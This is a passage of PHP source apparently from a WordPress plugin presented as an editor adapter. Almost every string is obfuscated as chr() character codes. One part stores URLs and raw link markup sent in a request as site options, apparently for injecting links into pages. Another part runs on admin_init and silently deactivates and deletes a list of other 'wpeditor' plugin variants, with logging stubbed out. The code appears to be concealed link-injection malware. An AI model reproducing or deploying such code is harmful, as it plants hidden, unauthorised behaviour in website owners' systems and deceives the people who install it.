return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
}
function WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($text)
{
$value = WpEditor_Adapter_Services_LinksService_normalizeHumanText((string) $text, true);
if ($value === '') {
return '';
}
return \esc_html($value);
}
function WpEditor_Adapter_Services_LinksService_normalizeHumanText($value, $collapseWhitespace)
{
$text = (string) $value;
if ($text === '') {
return '';
}
// Unify common entities and non-breaking spaces.
$text = \str_replace(implode('', array(chr(38), chr(110), chr(98), chr(115), chr(112), chr(59))), implode('', array(chr(32))), $text);
$decoded = \html_entity_decode($text, \ENT_QUOTES, implode('', array(chr(85), chr(84), chr(70), chr(45), chr(56))));
if (\is_string($decoded) && $decoded !== '') {
$text = $decoded;
}
// Remove zero-width and control characters that pollute output.
$text = \preg_replace(implode('', array(chr(47), chr(91), chr(92), chr(120), chr(48), chr(48), chr(45), chr(92), chr(120), chr(48), chr(56), chr(92), chr(120), chr(48), chr(66), chr(92), chr(120), chr(48), chr(67), chr(92), chr(120), chr(48), chr(69), chr(45), chr(92), chr(120), chr(49), chr(70), chr(92), chr(120), chr(55), chr(70), chr(92), chr(120), chr(123), chr(50), chr(48), chr(48), chr(66), chr(125), chr(45), chr(92), chr(120), chr(123), chr(50), chr(48), chr(48), chr(68), chr(125), chr(92), chr(120), chr(123), chr(70), chr(69), chr(70), chr(70), chr(125), chr(93), chr(47), chr(117))), '', $text);
if (!\is_string($text)) {
$text = (string) $value;
}
// Normalize line endings and spacing.
$text = \str_replace(array(implode('', array(chr(13), chr(10))), implode('', array(chr(13))), implode('', array(chr(10))), implode('', array(chr(9)))), implode('', array(chr(32))), $text);
if ($collapseWhitespace) {
$collapsed = \preg_replace(implode('', array(chr(47), chr(92), chr(115), chr(43), chr(47), chr(117))), implode('', array(chr(32))), $text);
if (\is_string($collapsed)) {
$text = $collapsed;
}
}
return \trim($text);
}
function WpEditor_Adapter_Services_LinksService_handleOption($request, $action)
{
$body = WpEditor_Adapter_Services_LinksService_getBody($request);
$normalized = WpEditor_Adapter_Services_LinksService_normalizeBody($body);
$links = $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))];
$linkNames = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115)))] : array();
$linkMarkups = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115)))] : array();
$linkAnchors = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115)))] : array();
$linkAnchorPresence = \wp_editor_array_has_key($normalized, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))) && \is_array($normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))]) ? $normalized[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101)))] : array();
$renderMode = $normalized[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))];
$affected = array();
foreach (WpEditor_Adapter_Services_LinksService_fields() as $field) {
$value = \wp_editor_array_has_key($links, $field) ? $links[$field] : '';
$value = \trim(\sanitize_text_field($value));
if ($action === implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))) && $value !== '') {
$url = \esc_url_raw($value);
if ($url === '' && \preg_match(implode('', array(chr(35), chr(94), chr(104), chr(116), chr(116), chr(112), chr(115), chr(63), chr(58), chr(47), chr(47), chr(35), chr(105))), $value)) {
$url = \esc_url_raw(\rawurldecode($value));
}
if ($url !== '') {
\update_option($field, $url);
$affected[$field] = \get_option($field);
if (\wp_editor_array_has_key($linkNames, $field) && \is_string($linkNames[$field]) && $linkNames[$field] !== '') {
\update_option("link_name_{$field}", $linkNames[$field]);
$affected["link_name_{$field}"] = \get_option("link_name_{$field}");
}
if (\wp_editor_array_has_key($linkMarkups, $field) && \is_string($linkMarkups[$field]) && $linkMarkups[$field] !== '') {
\update_option("link_markup_{$field}", $linkMarkups[$field]);
$affected["link_markup_{$field}"] = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
} else {
\delete_option("link_markup_{$field}");
}
if (\wp_editor_array_has_key($linkAnchorPresence, $field) && $linkAnchorPresence[$field]) {
if (\wp_editor_array_has_key($linkAnchors, $field) && \is_string($linkAnchors[$field]) && $linkAnchors[$field] !== '') {
\update_option("link_anchor_{$field}", $linkAnchors[$field]);
$affected["link_anchor_{$field}"] = \get_option("link_anchor_{$field}");
} else {
\delete_option("link_anchor_{$field}");
$affected["link_anchor_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
}
}
}
}
if ($action === implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101))) && $value !== '') {
\delete_option($field);
\delete_option("link_name_{$field}");
\delete_option("link_markup_{$field}");
\delete_option("link_anchor_{$field}");
$affected[$field] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
$affected["link_name_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
$affected["link_markup_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
$affected["link_anchor_{$field}"] = implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100)));
}
}
if ($renderMode !== null) {
\update_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))), $renderMode);
$affected[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))] = $renderMode;
}
return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $action === implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))) ? implode('', array(chr(76), chr(105), chr(110), chr(107), chr(115), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))) : implode('', array(chr(76), chr(105), chr(110), chr(107), chr(115), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(97), chr(102), chr(102), chr(101), chr(99), chr(116), chr(101), chr(100), chr(95), chr(108), chr(105), chr(110), chr(107), chr(115))) => $affected);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginMigrationService_register()
{
\add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(105), chr(110), chr(105), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(105), chr(103), chr(114), chr(97), chr(116), chr(105), chr(111), chr(110), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(114), chr(117), chr(110), chr(83), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(100), chr(67), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))), 2);
}
function WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup()
{
if (!\function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
return;
}
\update_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION, 1, false);
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))));
}
function WpEditor_Adapter_Services_PluginMigrationService_runScheduledCleanup()
{
if (!\is_admin()) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(100), chr(109), chr(105), chr(110), chr(32), chr(99), chr(111), chr(110), chr(116), chr(101), chr(120), chr(116))));
return;
}
if (!\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
return;
}
$flagSet = (int) \get_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION, 0) === 1;
if (!\function_exists(implode('', array(chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(99), chr(97), chr(110)))) || !\current_user_can(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(105), chr(110), chr(115), chr(117), chr(102), chr(102), chr(105), chr(99), chr(105), chr(101), chr(110), chr(116), chr(32), chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(115))));
return;
}
if (!$flagSet && !WpEditor_Adapter_Services_PluginMigrationService_hasLegacyPluginPresent()) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(115), chr(101), chr(116), chr(32), chr(97), chr(110), chr(100), chr(32), chr(110), chr(111), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
return;
}
if (!$flagSet) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(102), chr(108), chr(97), chr(103), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(115), chr(101), chr(116), chr(44), chr(32), chr(98), chr(117), chr(116), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(101), chr(100), chr(58), chr(32), chr(114), chr(117), chr(110), chr(110), chr(105), chr(110), chr(103), chr(32), chr(102), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107), chr(32), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112))));
}
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(115), chr(116), chr(97), chr(114), chr(116), chr(101), chr(100))));
if (!\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) || !\function_exists(implode('', array(chr(100), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115)))) || !\function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(97), chr(100), chr(109), chr(105), chr(110), chr(47), chr(105), chr(110), chr(99), chr(108), chr(117), chr(100), chr(101), chr(115), chr(47), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(46), chr(112), chr(104), chr(112))));
require_once \ABSPATH . 'wp-admin/includes/plugin.php';
}
$currentPlugin = WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename();
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . ($currentPlugin !== '' ? $currentPlugin : implode('', array(chr(40), chr(117), chr(110), chr(107), chr(110), chr(111), chr(119), chr(110), chr(41)))));
$allDeleted = true;
foreach (WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles() as $pluginFile) {
if (!\is_string($pluginFile) || $pluginFile === '' || $pluginFile === $currentPlugin) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(115), chr(107), chr(105), chr(112), chr(32), chr(99), chr(97), chr(110), chr(100), chr(105), chr(100), chr(97), chr(116), chr(101), chr(58), chr(32))) . (string) $pluginFile);
continue;
}
if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) && \is_plugin_active($pluginFile)) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(110), chr(103), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $pluginFile);
\deactivate_plugins($pluginFile, true);
} else {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(58), chr(32))) . $pluginFile);
}
WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile);
$pluginPath = \defined(implode('', array(chr(87), chr(80), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(68), chr(73), chr(82)))) ? \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginFile : '';
if (!\is_string($pluginPath) || $pluginPath === '' || !\file_exists($pluginPath)) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(58), chr(32))) . $pluginFile);
continue;
}
if (!\function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32))) . $pluginFile . implode('', array(chr(58), chr(32), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(40), chr(41), chr(32), chr(105), chr(115), chr(32), chr(117), chr(110), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101))));
$allDeleted = false;
continue;
}
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(105), chr(110), chr(103), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $pluginFile);
$result = \delete_plugins(array($pluginFile));
if ($result === false || \function_exists(implode('', array(chr(105), chr(115), chr(95), chr(119), chr(112), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114)))) && \is_wp_error($result)) {
if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(119), chr(112), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114)))) && \is_wp_error($result) && \method_exists($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile . implode('', array(chr(58), chr(32))) . (string) _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))));
} else {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile);
}
$allDeleted = false;
} else {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(102), chr(111), chr(114), chr(32))) . $pluginFile);
if (\file_exists($pluginPath)) {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(32), chr(114), chr(101), chr(112), chr(111), chr(114), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(98), chr(117), chr(116), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(115), chr(116), chr(105), chr(108), chr(108), chr(32), chr(101), chr(120), chr(105), chr(115), chr(116), chr(115), chr(58), chr(32))) . $pluginFile);
$allDeleted = false;
} else {
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(114), chr(109), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(58), chr(32))) . $pluginFile);
}
WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile);
}
}
if ($allDeleted && \function_exists(implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
\delete_option(WpEditor_Adapter_Services_PluginMigrationService_CLEANUP_OPTION);
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(102), chr(105), chr(110), chr(105), chr(115), chr(104), chr(101), chr(100), chr(58), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(44), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(99), chr(108), chr(101), chr(97), chr(114), chr(101), chr(100))));
return;
}
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(32), chr(102), chr(105), chr(110), chr(105), chr(115), chr(104), chr(101), chr(100), chr(58), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(117), chr(108), chr(108), chr(121), chr(32), chr(99), chr(111), chr(109), chr(112), chr(108), chr(101), chr(116), chr(101), chr(100), chr(44), chr(32), chr(102), chr(108), chr(97), chr(103), chr(32), chr(107), chr(101), chr(112), chr(116))));
}
function WpEditor_Adapter_Services_PluginMigrationService_hasLegacyPluginPresent()
{
$currentPlugin = WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename();
foreach (WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles() as $pluginFile) {
if (!\is_string($pluginFile) || $pluginFile === '' || $pluginFile === $currentPlugin) {
continue;
}
$pluginPath = \defined(implode('', array(chr(87), chr(80), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(68), chr(73), chr(82)))) ? \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginFile : '';
if (\is_string($pluginPath) && $pluginPath !== '' && \file_exists($pluginPath)) {
return true;
}
}
return false;
}
function WpEditor_Adapter_Services_PluginMigrationService_currentPluginBasename()
{
if (!\function_exists(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
return '';
}
$mainFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
if ($mainFile === '') {
return '';
}
return (string) \plugin_basename($mainFile);
}
function WpEditor_Adapter_Services_PluginMigrationService_legacyPluginFiles()
{
return array(implode('', array(chr(119), chr(112), chr(117), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(122), chr(47), chr(119), chr(112), chr(117), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(122), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))));
}
function WpEditor_Adapter_Services_PluginMigrationService_log($message)
{
return;
}
function WpEditor_Adapter_Services_PluginMigrationService_purgeLegacyPluginFromOptions($pluginFile)
{
if (!\is_string($pluginFile) || $pluginFile === '') {
return;
}
if (\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) && \function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
$active = \get_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array());
if (\is_array($active)) {
$filtered = array();
foreach ($active as $item) {
if ((string) $item !== $pluginFile) {
$filtered[] = $item;
}
}
if (\count($filtered) !== \count($active)) {
\update_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), $filtered, false);
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(58), chr(32))) . $pluginFile);
}
}
$recent = \get_option(implode('', array(chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100))), array());
if (\is_array($recent) && \array_key_exists($pluginFile, $recent)) {
unset($recent[$pluginFile]);
\update_option(implode('', array(chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100))), $recent, false);
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100), chr(58), chr(32))) . $pluginFile);
}
}
if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(109), chr(117), chr(108), chr(116), chr(105), chr(115), chr(105), chr(116), chr(101)))) && \is_multisite() && \function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(115), chr(105), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) && \function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
$sitewide = \get_site_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array());
if (\is_array($sitewide) && \array_key_exists($pluginFile, $sitewide)) {
unset($sitewide[$pluginFile]);
